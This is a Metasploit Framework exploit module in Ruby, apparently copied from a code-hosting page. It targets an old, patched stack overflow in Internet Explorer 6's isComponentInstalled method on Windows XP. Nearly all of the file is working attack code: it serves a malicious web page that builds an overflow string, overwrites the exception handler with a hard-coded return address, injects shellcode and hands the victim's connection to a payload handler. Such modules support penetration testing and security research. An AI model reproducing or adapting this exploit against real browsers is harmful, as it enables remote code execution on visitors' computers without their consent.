102 lines
2.3 KiB
Ruby
102 lines
2.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Seh
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Internet Explorer isComponentInstalled Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Internet Explorer. This bug was
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patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'hdm',
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '16870' ],
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],
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'Payload' =>
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{
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'Space' => 512,
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'BadChars' => "\x00\x5c\x0a\x0d\x22",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows XP SP0 with Internet Explorer 6.0', { 'Ret' => 0x71ab8e4a } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Feb 24 2006'))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Create the overflow string
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pattern = rand_text_alpha(8192)
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# Smash the return address with a bogus pointer
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pattern[744, 4] = [0xffffffff].pack('V')
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# Handle the exception :-)
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seh = generate_seh_payload(target.ret)
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pattern[6439, seh.length] = seh
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# Build out the HTML response page
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var_client = rand_text_alpha(rand(30)+2)
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var_html = rand_text_alpha(rand(30)+2)
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content = %Q|
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<html >
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<head >
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<script >
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function window.onload() {
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#{var_client}.style.behavior = "url(#default#clientCaps)" ;
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#{var_client}.isComponentInstalled( "__pattern__" , "componentid" ) ;
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}
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</script >
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</head >
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<body id = "#{var_client}" > #{var_html}
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</body >
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</html >
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content = Rex::Text.randomize_space(content)
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# Insert the shellcode
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content.gsub!('__pattern__', pattern)
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end |